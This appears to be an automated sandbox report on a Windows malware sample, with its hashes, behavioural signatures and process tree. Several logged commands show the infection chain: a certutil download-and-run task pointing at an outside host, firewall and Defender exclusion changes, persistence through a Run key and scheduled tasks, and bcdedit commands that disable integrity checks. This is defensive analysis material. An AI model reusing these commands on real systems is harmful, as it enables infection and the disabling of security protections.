Analysis
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max time kernel
123s -
max time network
142s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-11-2020 13:21
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Mal.Generic-S.5505.24553.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Mal.Generic-S.5505.24553.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.Mal.Generic-S.5505.24553.exe
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Size
3.8MB
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MD5
35dae9b5746fdab6e4a74172f69f9e49
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SHA1
438dfef4a69d6c74c142a8c0b63846c32abce6a2
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SHA256
f92deb731182f4a89fe3d358a5a5cd35ac180d2fc2e5da390e6dc77c41627c84
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SHA512
078c93c577204c5c9885a6ef0872406151020921cfdfeaa999d89357442ca01052da1db15c1fa445649bfa1d234641b1e1673a70133e5cab06f2507629e8ca81
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
svchost.exedescription pid process target process PID 728 created 1316 728 svchost.exe SecuriteInfo.com.Mal.Generic-S.5505.24553.exe PID 728 created 200 728 svchost.exe csrss.exe PID 728 created 200 728 svchost.exe csrss.exe PID 728 created 200 728 svchost.exe csrss.exe PID 728 created 200 728 svchost.exe csrss.exe -
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 2416 bcdedit.exe 1840 bcdedit.exe 1420 bcdedit.exe 2068 bcdedit.exe 2648 bcdedit.exe 3672 bcdedit.exe 3976 bcdedit.exe 2416 bcdedit.exe 1840 bcdedit.exe 2576 bcdedit.exe 2464 bcdedit.exe 2648 bcdedit.exe 3672 bcdedit.exe 1376 bcdedit.exe 2416 bcdedit.exe -
Drops file in Drivers directory 2 IoCs
Processes:
dsefix.execsrss.exedescription ioc process File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe File created C:\Windows\System32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exepatch.exedsefix.exewindefender.exewindefender.exepid process 200 csrss.exe 3868 patch.exe 2076 dsefix.exe 4092 windefender.exe 352 windefender.exe -
Modifies Windows Firewall 1 TTPs
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Processes:
resource yara_rule C:\Windows\windefender.exe upx C:\Windows\windefender.exe upx behavioral2/memory/4092-47-0x0000000000400000-0x0000000000897000-memory.dmp upx C:\Windows\windefender.exe upx -
Loads dropped DLL 4 IoCs
Processes:
patch.exepid process 3868 patch.exe 3868 patch.exe 3868 patch.exe 3868 patch.exe -
Processes:
SecuriteInfo.com.Mal.Generic-S.5505.24553.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\57f67627e14e.exe = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\57f67627e14e = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SmallPaper = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Mal.Generic-S.5505.24553.exe = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.5505.24553.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\SmallPaper = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Mal.Generic-S.5505.24553.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 4 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.5505.24553.execsrss.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Mal.Generic-S.5505.24553.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Mal.Generic-S.5505.24553.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3912 schtasks.exe 2540 schtasks.exe -
Modifies data under HKEY_USERS 522 IoCs
Processes:
csrss.exewindefender.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1822 = "Russia TZ 1 Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-162 = "Central Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1801 = "Line Islands Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-351 = "FLE Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-441 = "Arabian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2432 = "Cuba Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-385 = "Namibia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1722 = "Libya Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-531 = "Sri Lanka Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.5505.24553.exeSecuriteInfo.com.Mal.Generic-S.5505.24553.execsrss.exepid process 1316 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe 1316 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe 200 csrss.exe 200 csrss.exe 200 csrss.exe 200 csrss.exe 200 csrss.exe 200 csrss.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 624 624 -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
SecuriteInfo.com.Mal.Generic-S.5505.24553.exesvchost.execsrss.exesc.exedescription pid process Token: SeDebugPrivilege 1316 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Token: SeImpersonatePrivilege 1316 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe Token: SeTcbPrivilege 728 svchost.exe Token: SeTcbPrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeSystemEnvironmentPrivilege 200 csrss.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe Token: SeSecurityPrivilege 2032 sc.exe Token: SeSecurityPrivilege 2032 sc.exe Token: SeBackupPrivilege 728 svchost.exe Token: SeRestorePrivilege 728 svchost.exe -
Suspicious use of WriteProcessMemory 61 IoCs
Processes:
svchost.exeSecuriteInfo.com.Mal.Generic-S.5505.24553.execmd.execmd.exepatch.execsrss.exewindefender.execmd.exedescription pid process target process PID 728 wrote to memory of 1320 728 svchost.exe SecuriteInfo.com.Mal.Generic-S.5505.24553.exe PID 728 wrote to memory of 1320 728 svchost.exe SecuriteInfo.com.Mal.Generic-S.5505.24553.exe PID 728 wrote to memory of 1320 728 svchost.exe SecuriteInfo.com.Mal.Generic-S.5505.24553.exe PID 1320 wrote to memory of 3944 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe cmd.exe PID 1320 wrote to memory of 3944 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe cmd.exe PID 3944 wrote to memory of 8 3944 cmd.exe netsh.exe PID 3944 wrote to memory of 8 3944 cmd.exe netsh.exe PID 1320 wrote to memory of 1836 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe cmd.exe PID 1320 wrote to memory of 1836 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe cmd.exe PID 1836 wrote to memory of 1396 1836 cmd.exe netsh.exe PID 1836 wrote to memory of 1396 1836 cmd.exe netsh.exe PID 1320 wrote to memory of 200 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe csrss.exe PID 1320 wrote to memory of 200 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe csrss.exe PID 1320 wrote to memory of 200 1320 SecuriteInfo.com.Mal.Generic-S.5505.24553.exe csrss.exe PID 728 wrote to memory of 3912 728 svchost.exe schtasks.exe PID 728 wrote to memory of 3912 728 svchost.exe schtasks.exe PID 728 wrote to memory of 2540 728 svchost.exe schtasks.exe PID 728 wrote to memory of 2540 728 svchost.exe schtasks.exe PID 728 wrote to memory of 3868 728 svchost.exe patch.exe PID 728 wrote to memory of 3868 728 svchost.exe patch.exe PID 3868 wrote to memory of 2416 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2416 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1840 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1840 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1420 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1420 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2068 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2068 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2648 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2648 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3672 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3672 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3976 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3976 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2416 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2416 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1840 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1840 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2576 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2576 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2464 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2464 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2648 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 2648 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3672 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 3672 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1376 3868 patch.exe bcdedit.exe PID 3868 wrote to memory of 1376 3868 patch.exe bcdedit.exe PID 200 wrote to memory of 2416 200 csrss.exe bcdedit.exe PID 200 wrote to memory of 2416 200 csrss.exe bcdedit.exe PID 200 wrote to memory of 2076 200 csrss.exe dsefix.exe PID 200 wrote to memory of 2076 200 csrss.exe dsefix.exe PID 728 wrote to memory of 4092 728 svchost.exe windefender.exe PID 728 wrote to memory of 4092 728 svchost.exe windefender.exe PID 728 wrote to memory of 4092 728 svchost.exe windefender.exe PID 4092 wrote to memory of 1908 4092 windefender.exe cmd.exe PID 4092 wrote to memory of 1908 4092 windefender.exe cmd.exe PID 4092 wrote to memory of 1908 4092 windefender.exe cmd.exe PID 1908 wrote to memory of 2032 1908 cmd.exe sc.exe PID 1908 wrote to memory of 2032 1908 cmd.exe sc.exe PID 1908 wrote to memory of 2032 1908 cmd.exe sc.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.5505.24553.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.5505.24553.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.5505.24553.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.5505.24553.exe"2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes4⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Drops file in Drivers directory
- Executes dropped EXE
